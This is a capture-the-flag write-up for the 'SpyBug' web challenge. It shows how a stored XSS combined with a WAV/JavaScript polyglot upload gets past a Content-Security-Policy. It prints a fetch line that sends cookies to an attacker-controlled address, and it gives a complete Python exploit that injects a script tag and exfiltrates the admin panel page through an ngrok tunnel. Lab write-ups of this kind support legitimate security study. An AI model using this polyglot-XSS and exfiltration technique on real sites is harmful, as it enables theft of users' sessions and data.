Cyber Apocalypse CTF 2023 - SpyBug

Category: Web
Difficulty: Medium
Description: As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry’s communication channels. Can you hack into the portal and take down the aliens counter-spying operation?
Address: 165.232.100.46:31763
Attachments: web_spybug.zip

If we visit the provided address we will see a login page that asks us for username and password, and nothing else is present: Since we have also the source code of the website, let’s take a look into it.

From the Dockerfile we can see that the website is made using node and, from the web_spybug/build-docker.sh file we can see that the flag is stored in the FLAG environment variable. Also the session key and the admin password are stored inside environment variables, but they are not hardcoded, so we cannot know them. If we look at the code in the web_spybug/challenge/index.js file we can see 2 interesting things:

....
....
application.use((req, res, next) => {
  res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
  res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  res.setHeader("Pragma", "no-cache");
  res.setHeader("Expires", "0");
  next();
});
....
....
setInterval(visitPanel, 60000);

From the first slice of code we can see that the website use some specific HTTP headers, and in particular it uses the Content-Security-Policy header with the following values:

exports.visitPanel = async () => {
  try {
    const browser = await puppeteer.launch(browserOptions);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });

    await page.type("#username", "admin");
    await page.type("#password", process.env.ADMIN_SECRET);
    await page.click("#loginButton");

    await page.waitForTimeout(5000);
    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

So, every 60 seconds, a login will be done by an automated browser using the credentials of the admin user. After that it waits on the new page for 5 seconds and finally the browser is closed. Since everything we know up to now has something to do with the login page, let’s see what it does. It’s source code is in the web_spybug/challenge/routes/panel.js file:

router.post("/panel/login", async (req, res) => {
  let username = req.body.username;
  let password = req.body.password;

  if (!(username && password)) return res.sendStatus(400);
  if (!(await checkUserLogin(username, password)))
    return res.redirect("/panel/login");

  req.session.loggedin = true;
  req.session.username = username;

  res.redirect("/panel");
});

It basically checks username and password using a function called checkUserLogin, which is stored in the web_spybug/challenge/utils/database.js file:

exports.checkUserLogin = async (username, password) => {
    const results = await db.User.findOne({
        where: {
            username: username,
        },
    });

    if (!results) return false;

    if (!bcrypt.compareSync(password, results.password)) return false;

    return true;
};

It perform a simple check, but I cannot see any flaw. If we go back to the login handling function we can see that, if the login is successful, some values are stored in the session (and in particular req.session.loggedin = true;) and the user is redirected to the /panel page. Let’s see what this page is:

router.get("/panel", authUser, async (req, res) => {
  res.render("panel", {
    username:
      req.session.username === "admin"
        ? process.env.FLAG
        : req.session.username,
    agents: await getAgents(),
    recordings: await getRecordings(),
  });
});

Interesting!! If we login as admin, then this page will directly shows us the flag! So our objective is to visit the /panel endpoint after logged in as admin. In this page there are also other things that are rendered, and are produced by 2 functions named getAgents and getRecordings so let’s see what they do:

exports.getAgents = async () => {
    const results = await db.Agent.findAll();

    if (!results) return false;

    return results;
};

exports.getRecordings = async () => {
    const results = await db.Recording.findAll();

    if (!results) return false;

    return results;
};

They only fetch all the recordings and all the agents and display them. The next thing I want to know now is: how agents and recordings are created? In the web_spybug/challenge/routes/agents.js file and in the web_spybug/challenge/utils/database.js file there are some functions and endpoints that have something to do with them. We can see that:

My first thought were: well, since the values of the details aren’ sanitized, and they are then displayed in the panel page, we can inject some inline javascript HTML tag in one of those so that it will be rendered and we can execute our own javascript code. And then, since the panel page is visited every 60 seconds by an automated browser, which before perform a login as admin, we can steal its session cookie and visit the panel page as admin without the need of knowing the credentials. It seemed easy… BUT I didn’t remember about the Content-Security-Policy header that we have seen earlier, and in particular the script-src: 'self' value. This means that we cannot execute inline javascript code, but only code that is stored into a file on the web server. I remembered this after a lot of trial and errors….

Now, we can recall that we can upload new recordings by using the /agents/upload/:identifier/:token endpoint. Let’s take a closer look at what it does:

....
....
const storage = multer.diskStorage({
  filename: (req, file, cb) => {
    cb(null, uuidv4());
  },
  destination: (req, file, cb) => {
    cb(null, "./uploads");
  },
});

const multerUpload = multer({
  storage: storage,
  fileFilter: (req, file, cb) => {
    if (
      file.mimetype === "audio/wave" &&
      path.extname(file.originalname) === ".wav"
    ) {
      cb(null, true);
    } else {
      return cb(null, false);
    }
  },
});
....
....
router.post(
  "/agents/upload/:identifier/:token",
  authAgent,
  multerUpload.single("recording"),
  async (req, res) => {
    if (!req.file) return res.sendStatus(400);

    const filepath = path.join("./uploads/", req.file.filename);
    const buffer = fs.readFileSync(filepath).toString("hex");

    if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) {
      fs.unlinkSync(filepath);
      return res.sendStatus(400);
    }

    await createRecording(req.params.identifier, req.file.filename);
    res.send(req.file.filename);
  }
);

We can see that it checks:

  1. if the mime type is audio/wave.
  2. if the extension of the original file uploaded was .wav.
  3. if it contains the magic numbers that are contained into a wave file. So we can create our custom file, with the wave magic numbers and that contains javascript code. The end result is something like this:
RIFFaaaaWAVE=0;
fetch('http://ADDRESS/?cookies=' + document.cookies);

In this way, when the automated browser will visit the panel page, this script will be executed and, as a result will make a GET request to a server controlled by us appending in the query the name and the value of every cookie set, and also the session cookie. Ok, so I writed a script to do this, fired up a local server and launched that script… but nothing happened…

After a while I saw that the cookies of this website were saved with the HttpOnly option enabled, and this means that we cannot access them through javascript code. After a while I realized that, since the page will be seen by someone that is already logged in with the admin credentials, it is already able to see the flag. So, instead of trying to get the flag by ourself, why don’t we get it sended by the one who can already see it. So in the javascript code we can perform a POST request, and append the flag in the body, but since I’m not that good at javascript and didn’t want to loose other time, I will send the entire page content… just to be sure.

Ok, now to recap all what we have to do:

  1. create a new agent with a GET request to /agents/register and retrieve the new credentials.
  2. craft the custom wave file with javascript code inside that will reach back to us.
  3. update that file with a POST request to /agents/upload/:identifier/:token and retrieve its name on the server.
  4. Update the details of the agent we created before, and inject a HTML script tag that will refer to our uploaded wave file.
  5. Fire up a server listening on our machine and wait for the automated browser to visit the /panel endpoint.

In order to automate all this I created this python script:

#!/usr/bin/env python3

import requests
import json
from pyngrok import ngrok
from http.server import HTTPServer, BaseHTTPRequestHandler

ADDRESS = "165.232.100.46:31763"
LOCAL_SERVER_PORT = 8080

def steal_page() -> str:
    stealed_page = ''

    class HTTPPageStealer(BaseHTTPRequestHandler):
        def do_POST(self):
            nonlocal stealed_page
            stealed_page = self.rfile.read(int(self.headers['Content-Length'])).decode()
            self.send_response(200)
            self.end_headers()
            return

    http_server = HTTPServer(('localhost', LOCAL_SERVER_PORT), HTTPPageStealer)
    http_server.handle_request() # only one request is handled
 
    return stealed_page

def get_js_script(public_url: str) -> str:
    return f"""RIFFaaaaWAVE=0;
fetch('{public_url}/', {{method: 'POST', body: document.documentElement.innerHTML }});
"""

def main():
    # create new agent
    resp = requests.get(f"http://{ADDRESS}/agents/register")
    agent_creds = json.loads(resp.text)

    # create public tunnel
    http_tunnel = ngrok.connect(LOCAL_SERVER_PORT, 'http')

    # create craftet .wav file
    with open("test.wav", "wb") as f:
        f.write(get_js_script(http_tunnel.public_url).encode())

    # upload the crafted .wav file
    file = {"recording": ('test.wav', open("test.wav", "rb"), "audio/wave")}
    resp = requests.post(f"http://{ADDRESS}/agents/upload/{agent_creds['identifier']}/{agent_creds['token']}", files=file)

    # inject script tag
    remote_file_path = '/uploads/' + resp.text
    resp = requests.post(f"http://{ADDRESS}/agents/details/{agent_creds['identifier']}/{agent_creds['token']}", json={
            "hostname": f'<script src="{remote_file_path}"></script>',
            "platform": "test",
            "arch": "test" 
        }, headers={
            "Content-Type": "application/json"
        })

    # steal /panel content
    panel_page = steal_page()

    ngrok.disconnect(http_tunnel.public_url)
    flag = panel_page.split('HTB{')[1]
    flag = "HTB{" + flag.split('}')[0] + '}'
    print(flag)

if __name__ == "__main__":
    main()

Finally, if we execute it:

$ chmod +x exploit.py
$ ./exploit.py
HTB{p01yg10t5_4nd_35p10n4g3}